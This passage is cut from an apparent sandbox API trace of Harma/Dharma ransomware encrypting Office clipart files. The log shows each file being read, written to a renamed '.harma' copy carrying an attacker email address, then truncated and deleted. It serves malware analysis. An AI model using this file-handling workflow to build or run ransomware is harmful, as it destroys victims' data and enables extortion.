returned 63 [0153.843] lstrlenW (lpString=".jpg") returned 4 [0153.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0153.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0153.843] lstrlenW (lpString=".doc") returned 4 [0153.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.843] lstrlenW (lpString=".docx") returned 5 [0153.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.844] lstrlenW (lpString=".pdf") returned 4 [0153.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.844] lstrlenW (lpString=".xls") returned 4 [0153.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.844] lstrlenW (lpString=".xlsx") returned 5 [0153.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.844] lstrlenW (lpString=".ppt") returned 4 [0153.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0153.844] lstrlenW (lpString=".zip") returned 4 [0153.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.844] lstrlenW (lpString=".rar") returned 4 [0153.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.845] lstrlenW (lpString=".bz2") returned 4 [0153.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.845] lstrlenW (lpString=".7z") returned 3 [0153.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0153.845] lstrlenW (lpString=".dbf") returned 4 [0153.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0153.845] lstrlenW (lpString=".1cd") returned 4 [0153.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0153.846] lstrlenW (lpString=".jpg") returned 4 [0153.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.847] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0153.847] lstrlenW (lpString="FD00336_.WMF") returned 12 [0153.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.848] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=6068) returned 1 [0153.848] CloseHandle (hObject=0x348) returned 1 [0153.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x20 [0153.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0153.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.849] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.849] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.850] GetLastError () returned 0x0 [0153.850] ReadFile (in: hFile=0x348, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x17b4, lpOverlapped=0x0) returned 1 [0153.935] WriteFile (in: hFile=0x384, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0153.936] ReadFile (in: hFile=0x348, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.936] WriteFile (in: hFile=0x384, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.936] SetEndOfFile (hFile=0x384) returned 1 [0153.937] CloseHandle (hObject=0x384) returned 1 [0153.937] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.937] SetEndOfFile (hFile=0x348) returned 1 [0153.939] CloseHandle (hObject=0x348) returned 1 [0153.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0154.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0154.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0154.587] lstrlenW (lpString=".doc") returned 4 [0154.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.587] lstrlenW (lpString=".docx") returned 5 [0154.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.587] lstrlenW (lpString=".pdf") returned 4 [0154.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.587] lstrlenW (lpString=".xls") returned 4 [0154.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.587] lstrlenW (lpString=".xlsx") returned 5 [0154.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.587] lstrlenW (lpString=".ppt") returned 4 [0154.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0154.587] lstrlenW (lpString=".zip") returned 4 [0154.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.587] lstrlenW (lpString=".rar") returned 4 [0154.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.587] lstrlenW (lpString=".bz2") returned 4 [0154.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.588] lstrlenW (lpString=".7z") returned 3 [0154.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0154.588] lstrlenW (lpString=".dbf") returned 4 [0154.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0154.588] lstrlenW (lpString=".1cd") returned 4 [0154.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0154.588] lstrlenW (lpString=".jpg") returned 4 [0154.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0154.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0154.588] lstrlenW (lpString=".doc") returned 4 [0154.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.588] lstrlenW (lpString=".docx") returned 5 [0154.588] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.588] lstrlenW (lpString=".pdf") returned 4 [0154.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.588] lstrlenW (lpString=".xls") returned 4 [0154.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.588] lstrlenW (lpString=".xlsx") returned 5 [0154.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.588] lstrlenW (lpString=".ppt") returned 4 [0154.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0154.588] lstrlenW (lpString=".zip") returned 4 [0154.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.589] lstrlenW (lpString=".rar") returned 4 [0154.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.589] lstrlenW (lpString=".bz2") returned 4 [0154.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.589] lstrlenW (lpString=".7z") returned 3 [0154.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0154.589] lstrlenW (lpString=".dbf") returned 4 [0154.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0154.589] lstrlenW (lpString=".1cd") returned 4 [0154.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0154.589] lstrlenW (lpString=".jpg") returned 4 [0154.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.589] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.589] lstrlenW (lpString="FD00382_.WMF") returned 12 [0154.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0154.590] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=8424) returned 1 [0154.590] CloseHandle (hObject=0x330) returned 1 [0154.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x20 [0154.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0154.590] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.590] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.591] GetLastError () returned 0x0 [0154.591] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x20e8, lpOverlapped=0x0) returned 1 [0154.615] WriteFile (in: hFile=0x380, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x20f0, lpOverlapped=0x0) returned 1 [0154.617] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.617] WriteFile (in: hFile=0x380, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.617] SetEndOfFile (hFile=0x380) returned 1 [0154.617] CloseHandle (hObject=0x380) returned 1 [0154.617] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.617] SetEndOfFile (hFile=0x330) returned 1 [0154.619] CloseHandle (hObject=0x330) returned 1 [0154.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0154.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0154.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0154.621] lstrlenW (lpString=".doc") returned 4 [0154.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.621] lstrlenW (lpString=".docx") returned 5 [0154.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.621] lstrlenW (lpString=".pdf") returned 4 [0154.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.621] lstrlenW (lpString=".xls") returned 4 [0154.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.621] lstrlenW (lpString=".xlsx") returned 5 [0154.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.621] lstrlenW (lpString=".ppt") returned 4 [0154.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0154.621] lstrlenW (lpString=".zip") returned 4 [0154.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.621] lstrlenW (lpString=".rar") returned 4 [0154.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.621] lstrlenW (lpString=".bz2") returned 4 [0154.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.621] lstrlenW (lpString=".7z") returned 3 [0154.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0154.621] lstrlenW (lpString=".dbf") returned 4 [0154.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0154.622] lstrlenW (lpString=".1cd") returned 4 [0154.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0154.622] lstrlenW (lpString=".jpg") returned 4 [0154.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0154.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0154.622] lstrlenW (lpString=".doc") returned 4 [0154.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.622] lstrlenW (lpString=".docx") returned 5 [0154.622] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.622] lstrlenW (lpString=".pdf") returned 4 [0154.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.622] lstrlenW (lpString=".xls") returned 4 [0154.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.623] lstrlenW (lpString=".xlsx") returned 5 [0154.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.623] lstrlenW (lpString=".ppt") returned 4 [0154.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0154.623] lstrlenW (lpString=".zip") returned 4 [0154.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.623] lstrlenW (lpString=".rar") returned 4 [0154.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.623] lstrlenW (lpString=".bz2") returned 4 [0154.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.623] lstrlenW (lpString=".7z") returned 3 [0154.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0154.623] lstrlenW (lpString=".dbf") returned 4 [0154.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0154.623] lstrlenW (lpString=".1cd") returned 4 [0154.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0154.623] lstrlenW (lpString=".jpg") returned 4 [0154.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.624] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.624] lstrlenW (lpString="FD00403_.WMF") returned 12 [0154.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0154.624] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7878) returned 1 [0154.624] CloseHandle (hObject=0x330) returned 1 [0154.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x20 [0154.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0154.625] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.625] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.625] GetLastError () returned 0x0 [0154.625] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1ec6, lpOverlapped=0x0) returned 1 [0154.717] WriteFile (in: hFile=0x380, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1ed0, lpOverlapped=0x0) returned 1 [0154.718] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.718] WriteFile (in: hFile=0x380, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.718] SetEndOfFile (hFile=0x380) returned 1 [0154.719] CloseHandle (hObject=0x380) returned 1 [0154.719] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.719] SetEndOfFile (hFile=0x330) returned 1 [0154.722] CloseHandle (hObject=0x330) returned 1 [0154.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0154.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0154.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0154.723] lstrlenW (lpString=".doc") returned 4 [0154.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.723] lstrlenW (lpString=".docx") returned 5 [0154.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.723] lstrlenW (lpString=".pdf") returned 4 [0154.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.723] lstrlenW (lpString=".xls") returned 4 [0154.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.723] lstrlenW (lpString=".xlsx") returned 5 [0154.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.723] lstrlenW (lpString=".ppt") returned 4 [0154.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0154.723] lstrlenW (lpString=".zip") returned 4 [0154.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.724] lstrlenW (lpString=".rar") returned 4 [0154.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.724] lstrlenW (lpString=".bz2") returned 4 [0154.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.724] lstrlenW (lpString=".7z") returned 3 [0154.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0154.724] lstrlenW (lpString=".dbf") returned 4 [0154.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0154.724] lstrlenW (lpString=".1cd") returned 4 [0154.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0154.724] lstrlenW (lpString=".jpg") returned 4 [0154.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0154.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0154.724] lstrlenW (lpString=".doc") returned 4 [0154.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.724] lstrlenW (lpString=".docx") returned 5 [0154.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.724] lstrlenW (lpString=".pdf") returned 4 [0154.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.724] lstrlenW (lpString=".xls") returned 4 [0154.724] lstrcmpiW 